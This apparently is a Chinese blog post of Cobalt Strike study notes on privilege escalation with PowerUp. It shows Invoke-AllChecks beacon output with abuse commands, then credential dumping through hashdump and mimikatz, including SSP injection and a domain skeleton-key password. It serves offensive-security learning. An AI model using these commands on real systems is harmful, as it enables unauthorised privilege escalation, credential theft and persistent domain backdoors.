0x00 介绍
powerup 所做的事是寻找可能存在弱点的地方,从而帮助提权。
利用 PowerUp 进行提权需要首先导入 ps1 文件powershell-import PowerUp.ps1,再执行powershell Invoke-AllChecks命令,使用 PowerUp 脚本可以快速的帮助我们发现系统弱点,从而实现提权的目的。
0x01 PowerUp 的使用
执行以下命令:将 ps1 文件上传到目标主机,并执行所有弱点检查。
代码语言:javascript代码运行次数:0运行复制
powershell-import PowerUp.ps1powershell invoke-allchecks
详细运行过程:
代码语言:javascript代码运行次数:0运行复制
beacon> powershell-import PowerUp.ps1[*] Tasked beacon to import: PowerUp.ps1[+] host called home, sent: 275084 bytesbeacon> powershell invoke-allchecks[*] Tasked beacon to run: invoke-allchecks[+] host called home, sent: 313 bytes[+] received output:[*] Running Invoke-AllChecks[+] Current user already has local administrative privileges![*] Checking for unquoted service paths...[*] Checking service executable and argument permissions...[+] received output:ServiceName : AeLookupSvcPath : C:Windowssystem32svchost.exe -k netsvcsModifiableFile : C:Windowssystem32ModifiableFilePermissions : GenericAllModifiableFileIdentityReference : BUILTINAdministratorsStartName : localSystemAbuseFunction : Install-ServiceBinary -Name 'AeLookupSvc'CanRestart : True……内容太多,此处省略……[*] Checking service permissions...[+] received output:ServiceName : AeLookupSvcPath : C:Windowssystem32svchost.exe -k netsvcsStartName : localSystemAbuseFunction : Invoke-ServiceAbuse -Name 'AeLookupSvc'CanRestart : True……内容太多,此处省略……[*] Checking %PATH% for potentially hijackable DLL locations...[+] received output:Permissions : GenericAllModifiablePath : C:Windowssystem32WindowsPowerShell1.0IdentityReference : BUILTINAdministrators%PATH% : %SystemRoot%system32WindowsPowerShell1.0AbuseFunction : Write-HijackDll -DllPath 'C:Windowssystem32WindowsPowerS hell1.0wlbsctrl.dll'……内容太多,此处省略……[*] Checking for AlwaysInstallElevated registry key...[*] Checking for Autologon credentials in registry...[*] Checking for modifidable registry autoruns and configs...[+] received output:Key : HKLM:SOFTWAREMicrosoftWindowsCurrentVersionRunVMware Use r ProcessPath : "C:Program FilesVMwareVMware Toolsmtoolsd.exe" -n vmusrModifiableFile : @{Permissions=System.Object[]; ModifiablePath=C:Program Files VMwareVMware Toolsmtoolsd.exe; IdentityReference=BUILTINA dministrators}……内容太多,此处省略……[*] Checking for modifiable schtask files/configs...[+] received output:TaskName : GoogleUpdateTaskMachineCoreTaskFilePath : @{Permissions=System.Object[]; ModifiablePath=C:Program Files ( x86)GoogleUpdateGoogleUpdate.exe; IdentityReference=BUILTINA dministrators}TaskTrigger : true2020-04-11T21:47:441……内容太多,此处省略……[*] Checking for unattended install files...UnattendPath : C:WindowsPantherUnattend.xml[*] Checking for encrypted web.config strings...[*] Checking for encrypted application pool and virtual directory passwords...[*] Checking for plaintext passwords in McAfee SiteList.xml files....[+] received output:[*] Checking for cached Group Policy Preferences .xml files....[+] received output:
如果在自己的靶机上发现导入ps1文件失败,这可能是因为系统不允许执行不信任的脚本文件导致的。
这时为了复现成功可以来到靶机下,以管理员权限打开 Powershell,运行set-ExecutionPolicy RemoteSigned,输入Y回车,此时系统便能导入PowerUp.ps1文件了。
代码语言:javascript代码运行次数:0运行复制
PS C:WINDOWSsystem32> set-ExecutionPolicy RemoteSigned执行策略更改执行策略可帮助你防止执行不信任的脚本。更改执行策略可能会产生安全风险,如 https:/go.microsoft.com/fwlink/?LinkID=135170中的 about_Execution_Policies 帮助主题所述。是否要更改执行策略?[Y] 是(Y) [A] 全是(A) [N] 否(N) [L] 全否(L) [S] 暂停(S) [?] 帮助 (默认值为“N”): YPS C:WINDOWSsystem32>
在运行Invoke-AllChecks后,便会列出当前系统中可被提权的弱点之处,之后再执行检查结果中AbuseFunction下的命令便能开始提权操作了。
但是我在自己本地环境中并未复现成功,执行AbuseFunction后的命令只能创建一个与当前登录用户相同权限的账户,没能达到提权的目的。
Get笔记
Get笔记,一款AI驱动的知识管理产品
125 查看详情
参考网上相关文章后也未果,这也是为什么这一节拖更这么久的原因,因此 PowerUp 的复现过程暂时就没法记录了。
如果正在看本篇文章的你有过使用 PowerUp 提权成功的经历,欢迎留言分享。
0x02 获取凭证和哈希
想要获取凭证信息,可以在管理员权限的会话处右击选择Access --> Dump Hashes,或者在控制台中使用hashdump命令。

想获取当前用户的密码,可以运行mimikatz,右击管理员权限会话选择Access --> Run Mimikatz,或在控制台运行logonpasswords命令。

在View --> Credentials下可以查看到hashdump与mimikatz获取的数据。
0x03 Mimikatz
在 Beacon 中集成了 mimikatz ,mimikatz 执行命令有三种形式:
mimikatz [module::command] 运行 mimikatz 命令mimikatz [!module::command] 强制提升到 SYSTEM 权限再运行命令,因为一些命令只有在 SYSTEM 身份下才能被运行。mimikatz [@module::command] 使用当前 Beacon 的访问令牌运行 mimikatz 命令
下面是一些mimikatz命令。
!lsadump::cache获取缓存凭证,默认情况下 Windows 会缓存最近10个密码哈希!lsadump::sam获取本地账户密码哈希,该命令与 hashdump 比较类似misc::cmd如果注册表中禁用了 CMD ,就重新启用它!misc::memssp注入恶意的 Windows SSP 来记录本地身份验证凭据,这个凭证存储在“C:windowssystem32mimilsa.log”中misc::skeleton该命令仅限域内使用。该命令会给所有域内用户添加一个相同的密码,域内所有的用户都可以使用这个密码进行认证,同时原始密码也可以使用,其原理是对 lsass.exe 进行注入,重启后会失效。process::suspend [pid]挂起某个进程,但是不结束它process::resume [pid]恢复挂起的进程
以上就是CS学习笔记 | 14、powerup提权的方法的详细内容,更多请关注创想鸟其它相关文章!
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 chuangxiangniao@163.com 举报,一经查实,本站将立刻删除。
发布者:程序猿,转转请注明出处:https://www.chuangxiangniao.com/p/429705.html
微信扫一扫
支付宝扫一扫